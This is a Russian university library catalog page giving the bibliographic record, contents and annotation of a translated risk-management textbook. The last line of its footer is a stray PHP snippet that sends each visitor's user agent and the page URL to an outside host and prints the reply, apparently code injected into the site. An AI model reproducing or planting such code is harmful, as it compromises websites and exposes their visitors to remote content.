Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

118 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Шифр документа=2A9D35B8-8DB3-C9F7-2BAE-AD54E167D8F1$")И(("Ключевые слова=ПРОЗРАЧНОСТЬ"))
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 1
1. 
2A9D35B8-8DB3-C9F7-2BAE-AD54E167D8F1
(Нет сведений об экземплярах)
2A9D35B8-8DB3-C9F7-2BAE-AD54E167D8F1
658.012/К78
Круи, Мишель.
Основы риск-менеджмента [Электронный ресурс] : учеб. пособие для подгот. к экзамену на получение сертификата Associate PRM : пер. с англ. / М. Круи, Д. Галай, Р. Марк ; науч. ред. В. Б. Минасян. - М. : Юрайт, 2011. - 1 эл. опт. диск (DVD-ROM) : цв., [390] с. - (Электронные учебники). - Загл. с титул. экрана. - ISBN 8-978-5-9916-0868-8 : 9999.98 р.
Содержание:
Предисловие соучредителя PRMIA С. Н. Смирнова. - С. 12
Предисловие научного редактора В. Б. Минасяна. - С. 13
Предисловие А. П. Горяева. - С. 15
Предисловие Э. Орсателли. - С. 17
Введение. - С. 19
Глава 1. Управление рисками - взгляд с высоты птичьего полета. - С. 23
Что такое риск?. - С. 26
Конфликт риска и вознаграждения. - С. 32
Опасность определений. - С. 35
Цифры тоже опасны. - С. 37
Задачи риск-менеджера. - С. 39
Эволюция риск-менеджмента. - С. 40
Прошлое, будущее и цель данной книги. - С. 44
Приложение к Главе 1. Типология рисков. - С. 45
Рыночный риск : 47
Риск процентных ставок. - С. 47
Ценовой риск акций. - С. 48
Валютный риск. - С. 48
Риск изменения товарных цен. - С. 48
Кредитный риск. - С. 49
Риск ликвидности. - С. 49
Операционный риск. - С. 50
Юридический и регуляторный риски. - С. 51
Деловой (коммерческий) риск. - С. 51
Стратегический риск. - С. 53
Репутационные риски. - С. 54
Глава 2. Корпоративный риск-менеджмент. - С. 57
Почему согласно теории не нужно управлять рисками. - С. 58
И ряд доводов за управление рисками на практике. - С. 60
Операции хеджирования и хеджирование финансовых позиций. - С. 62
Риск-менеджмент на практике. - С. 65
Определение цели. - С. 65
Отображение рисков. - С. 67
Инструменты управления рисками. - С. 68
Разработка и внедрение стратегий. - С. 70
Оценка эффективности . - С. 73
Глава 3. Банки и регуляторы - исследовательская лаборатория риск-менеджмента?. - С. 75
Банковское регулирование и риск-менеджмент. - С. 76
Стимул к стандартизации и управления капиталом банка. - С. 77
Базельское соглашение 1988 г. - С. 78
Так что же базельское соглашение 1988 г. требует от банков?. - С. 78
Отношение активов к капиталу. - С. 79
Сумма, взвешенная по риску, которая используется для расчета коэффициента Кука. - С. 79
Расчет кредитного эквивалента для внебалансовых рисков. - С. 80
Капитал и коэффициент Кука. - С. 82
Взрыв банковского рыночного риска и поправка по рыночным рискам 1996 г. - С. 83
Рекомендации "Группы тридцати" (G-30). - С. 85
Поправка по рыночным рискам 1996 г. (BIS 98). - С. 85
Поправка по требованиям к качеству 1996 г. - С. 87
Почему Базельское соглашение 1988 г. необходимо изменить?. - С. 87
Базель II - революция в банковской сфере?. - С. 89
"Столп" I: более подробное рассмотрение минимальных требований к капиталу для кредитного риска. - С. 93
Определение капитала. - С. 93
Стандартный подход. - С. 94
Недостатки стандартного подхода. - С. 95
Новый подход к оценке кредитного риска на основе внутренних рейтингов. - С. 95
"Столп" II: процесс банковского надзора. - С. 97
"Столп" III: рыночная дисциплина. - С. 98
Заключение. - С. 99
Глава 4. Корпоративное руководство и управление рисками. - С. 101
Задание исходных условий - корпоративное руководство и управление рисками. - С. 104
Разумное управление рисками. - С. 105
Комитеты и ограничения уровня риска (обзор). - С. 107
Аудиторский комитет - основной традиционный механизм управления рисками. - С. 108
Новый ключевой механизм - роль консультативного директора по рискам. - С. 109
Особая роль комитета по управлению рисками. - С. 110
Распределение полномочий на практике. - С. 111
Ограничение риска и политика стандартов ограничения риска. - С. 115
Стандарты мониторинга риска. - С. 117
Какова функция аудита?. - С. 119
Заключение: шаги к успеху. - С. 122
глава 5. Удобное руководство по теории риска и доходности. - С. 125
Гарри Марковиц и выбор портфеля активов. - С. 126
Модель оценки финансовых активов (сарт). - С. 128
Как определить цену опциона. - С. 132
Модильяни и Миллер (M&M). - С. 137
Заключение. - С. 137
Глава 6. Процентный риск и его хеджирование с помощью производных финансовых инструментов. - С. 139
Как возникает процентный риск?. - С. 140
Цена облигации и доходность к погашению. - С. 142
Чувствительность к факторам риска. - С. 147
Портфель инструментов. - С. 151
Инструменты хеджирования процентного риска. - С. 152
Форвардные и фьючерсные контракты. - С. 153
Свопы. - С. 154
Опционы: колл, пут и экзотические. - С. 156
Кэпы, флоры и коллары. - С. 157
Свопционы. - С. 158
Экзотические опционы. - С. 158
Финансовая инженерия. - С. 169
Глава 7. От стоимости (ценности) под риском к стресс-тестированию. - С. 161
Подход с использованием номинальной стоимости (ценности). - С. 162
Меры чувствительности цен производных финансовых инструментов. - С. 163
Слабые стороны "греческих букв". - С. 164
Определение стоимости (ценности) под риском. - С. 165
От однодневного VaR к 10-дневному VaR. - С. 168
Каким образом VaR используется для ограничения риска на практике?. - С. 168
Как мы получаем распределение для расчета VaR?. - С. 172
1. Выбор факторов риска. - С. 172
2. Выбор методологии для моделирования изменений факторов рыночного риска. - С. 173
Аналитический ковариационный подход: пример портфеля, линейного по рискам. - С. 173
Подход исторического моделирования. - С. 176
Метод Монте – Карло. - С. 179
преимущества и недостатки различных подходов. - С. 181
Стресс-тестирование и анализ сценариев. - С. 183
Стресс-тестирование факторов риска. - С. 183
Конверт стресс-тестирования. - С. 184
Преимущества стресс-тестирования и анализа сценариев. - С. 187
Ограничения стресс-тестирования и анализа сценариев. - С. 187
Краткое заключение о ключевых рисках - VaR и стресс-тестирование. - С. 188
Глава 8. Управление активами и пассивами . - С. 189
Процентный риск ставки и риск ликвидности. - С. 191
ALCO. - С. 193
Гэп-анализ. - С. 196
Преимущества и недостатки анализа разрывов (гэпов). - С. 201
Доходы под риском. - С. 201
Влияние на квартальные данные. - С. 202
Влияние в течение года. - С. 204
Вопросы мультивалютного баланса. - С. 204
Подход дюрации разрыва (ГЭПА). - С. 205
Дюрация акционерного капитала. - С. 206
Долгосрочный показатель VaR. - С. 207
Преимущества и недостатки LT-VaR. - С. 208
Измерение риска ликвидности. - С. 208
Трансфертное ценообразование. - С. 210
Глава 9. Скоринговые модели и управление розничными кредитными рисками. - С. 213
Природа розничного кредитного риска. - С. 215
Скоринговые модели - стоимость, согласованность и улучшение процесса принятия решений. - С. 218
Какие виды скоринговых моделей используются? . - С. 221
От точки отсечения к оценкам вероятности дефолта и уровня потерь . - С. 223
Оценка точности и мониторинга эффективности скоринговых карт. - С. 224
От риска дефолта к оценке клиента. - С. 226
Новый регуляторный подход. - С. 229
Секьюритизация и передача розничного кредитного риска. - С. 229
Ценообразование с учетом риска. - С. 232
Оперативный и стратегический анализ розничного портфеля. - С. 233
Заключение. - С. 234
Глава 19. Риск корпоративного кредитования и рейтинг индивидуальных кредитов. - С. 235
Рейтинговые агенства. - С. 238
Процесс присвоения рейтинга внешним агенствам. - С. 238
Кредитные рейтинги S&P и Мудиз. - С. 242
Рейтинг долговых обязательств и переходные вероятности. - С. 246
Введение в построение системы внутренних рейтингов. - С. 248
Финансовый анализ (шаг 1). - С. 250
Введение. - С. 250
Процедура. - С. 250
Отраслевые ориентиры. - С. 252
Факторы корректировки для рейтинга дефолта заемщика (ODR). - С. 252
Управление и другие качественные факторы (шаг 2). - С. 252
Итоговые рейтинги отраслей (шаг 3a). - С. 253
Оценка положения в отрасли (шаг 3b). - С. 253
Отрасль / положение в ней (шаг 3c). - С. 254
Качество финансовой отчетности (шаг 4). - С. 254
Страновый риск (шаг 5). - С. 254
Сравнение с внешними рейтингами (шаг 6). - С. 254
Условия кредита (шаг 7). - С. 255
Рейтинг потерь в случае дефолта - LGDR (шаг 8). - С. 255
Заключение. - С. 256
Приложение к Главе 10. Вычисление основных финансовых показателей. - С. 257
Глава 11. Новые подходы к измерению кредитного риска. - С. 259
Почему моделировать кредитные риски так важно и так сложно?. - С. 260
Что влияет на кредитный риск на уровне портфеля?. - С. 262
Оценка кредитного риска портфеля (обзор). - С. 265
Greditmetrics и подход, основанный на изменении кредитных рейтингов. - С. 265
Показатель VaR для портфеля кредитов или облигаций. - С. 270
Оценка корреляции активов. - С. 272
Применение CreditMetrics. - С. 272
Условное требование или структурный подход к измерению кредитного риска. - С. 272
Подход KMV. - С. 274
Расчет показателя "расстояние до дефолта" и вероятности дефолта. - С. 275
Насколько полезна EDF?. - С. 277
Оценка риска кредитных портфелей. - С. 280
Актуарный подход и модели "сокращенной формы" при измерении кредитного риска. - С. 281
Модель "сокращенной формы". - С. 282
Гибридные структурные модели. - С. 285
Заключение. - С. 286
Глава 12. Новые способы передачи кредитного риска и их применение. - С. 289
Почему новые банковские методы и инструменты являются принципиально новыми?. - С. 290
Кредитные рынки являются причинами изменений в банках. - С. 293
Каким конкретно образом все это меняет кредитную функцию банка?. - С. 295
Управление кредитным портфелем. - С. 299
Кредитные производные инструменты (обзор). - С. 300
Применение кредитных производных инструментов конечным пользователем. - С. 302
Типы кредитных производных инструментов. - С. 304
Кредитные дефолт-свопы. - С. 305
CDS до первого дефолта. - С. 308
Своп на совокупный доход. - С. 309
Кредитные ноты, обеспеченные активами. - С. 310
Опционы спред. - С. 312
Секьюритизация кредитного риска для кредитов и высокодоходных облигаций. - С. 312
Синтетические CDO. - С. 315
CDO с одним траншем. - С. 316
Кредитные производные инструменты на кредитные индексы. - С. 317
Заключение. - С. 319
Глава 13. Операционный риск. - С. 321
Восемь ключевых элементов в банковском управлении операционным риском. - С. 323
Каким образом можно определить и классифицировать операционные потери?. - С. 327
Какой вид операционного риска должен быть соотнесен с операционным рисковым капиталом?. - С. 329
VaR для операционного риска. - С. 330
Роль ключевых причин возникновения риска. - С. 335
Снижение операционного риска. - С. 336
Страхование от операционного риска. - С. 337
Заключение. - С. 338
Глава 14. Модельный риск. - С. 341
Насколько распространена проблема модельного риска?. - С. 342
"Ошибки модели. - С. 343
Неверная реализация модели. - С. 345
Каким образом мы можем уменьшить модельный риск?. - С. 347
LTCM и модельный риск: как хедж стал неэффективным в период кризиса ликвидности. - С. 350
Торговые модели : 351
Модели измерения риска и стресс-тестирование. - С. 352
Заключение. - С. 353
Глава 15. Размещение рискового капитала и измерение эффективности, скорректированное на риск. - С. 355
Каким целям служит рисковый капитал?. - С. 355
Новые методы использования рискового капитала. - С. 356
RAROC - скорректированная на риск доходность капитала. - С. 359
RAROC для планирования капитальных вложений. - С. 361
RAROC для измерения эффективности. - С. 363
Горизонт RAROC. - С. 365
Доверительный уровень. - С. 367
Пороговая ставка и правило бюджетирования капиталовложений. - С. 367
Диверсификация и рисковый капитал. - С. 369
RAROC на практике. - С. 372
Заключение. - С. 375
Послесловие. Тенденции в риск-менеджменте. - С. 377
1. Риск-менеджмент на уровне страны. - С. 379
2. Распространение банковского риск-менеджмента на другие финансовые сферы. - С. 380
3. Риск-менеджмент и пенсионные программы. - С. 381
4. Прозрачность риска. - С. 382
5. Обучение риск-менеджменту. - С. 383
6. Стандартизация методологий риска и языка риска. - С. 384
7. Интеграция мер риска. - С. 385
8. Рынки передачи операционного риска. - С. 385
9. Как Базель II повлияет на мир и как мир повлияет на Базель II. - С. 386
10. Инфраструктура . - С. 387
Об авторах. - С. 389
УДК 658.012.4(075)

Рубрики:
Менеджмент -- Электронные учебники

Кл.слова (ненормированные): ЭЛЕКТРОННЫЙ УЧЕБНИК -- ЭЛЕКТРОННЫЙ РЕСУРС -- ОПТИЧЕСКИЙ ДИСК -- КОМПАКТ-ДИСК -- УЧЕБНИК И ПОСОБИЕ *
Аннотация: Усложнение структуры финансовых рынков, появление на различных рынках (в том числе и в России) современных финансовых продуктов повышает значимость управления рисками. Сегодня знания в этой области необходимы всем руководителям предприятий, финансовым директорам, собственникам компаний, инвесторам, регулирующим органам и т.п. Эта книга - известнейшая в мире работа по управлению рисками - написана специалистами, которые многие годы посвятили развитию теории риск-менеджмента и ее практическому применению, занимая значимые позиции в крупных международных финансовых организациях.
Книга охватывает широкий круг вопросов - от классификации рисков до современных методов их оценки, таких как VaR, RAROC и т.п., и инструментов управления рисками, основанных на продуктах, связанных с производными инструментами. В ней рассматриваются принципы построения системы риск-менеджмента в современной компании и вопросы регулирования этой сферы, а также проблемы измерения и управления различными рисками (рыночными, кредитными, операционными, модельными и т.д.). В книге опущены математические подробности описания инструментария и методов риск-менеджмента, на первый план выдвигаются основные идеи, что облегчает первоначальное восприятие многих непростых понятий и методов. При этом авторы сумели избежать их упрощения, а также передать глубину и нетривиальность.
Книга рекомендована PRMIA в качестве учебного пособия для подготовки к экзамену на получение сертификата APRM.
Доп. точки доступа:
Галай, Дэн
Марк, Роберт
Минасян, В. Б.ред.

Нет сведений об экземплярах
Держатели документа:
Научная библиотека Омского государственного технического университета : Россия, 644050, г. Омск, проспект Мира, 11
Оглавление 
Держатели документа (Информация об экземплярах) 

Усложнение структуры финансовых рынков, появление на различных рынках (в том числе и в России) современных финансовых продуктов повышает значимость управления рисками. Сегодня знания в этой области необходимы всем руководителям предприятий, финансовым директорам, собственникам компаний, инвесторам, регулирующим органам и т.п. Эта книга - известнейшая в мире работа по управлению рисками - написана специалистами, которые многие годы посвятили развитию теории риск-менеджмента и ее практическому применению, занимая значимые позиции в крупных международных финансовых организациях.

Книга охватывает широкий круг вопросов - от классификации рисков до современных методов их оценки, таких как VaR, RAROC и т.п., и инструментов управления рисками, основанных на продуктах, связанных с производными инструментами. В ней рассматриваются принципы построения системы риск-менеджмента в современной компании и вопросы регулирования этой сферы, а также проблемы измерения и управления различными рисками (рыночными, кредитными, операционными, модельными и т.д.). В книге опущены математические подробности описания инструментария и методов риск-менеджмента, на первый план выдвигаются основные идеи, что облегчает первоначальное восприятие многих непростых понятий и методов. При этом авторы сумели избежать их упрощения, а также передать глубину и нетривиальность.

Книга рекомендована PRMIA в качестве учебного пособия для подготовки к экзамену на получение сертификата APRM.



    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3104 - 09.12.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.31 с.14 запросов, 1.42c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;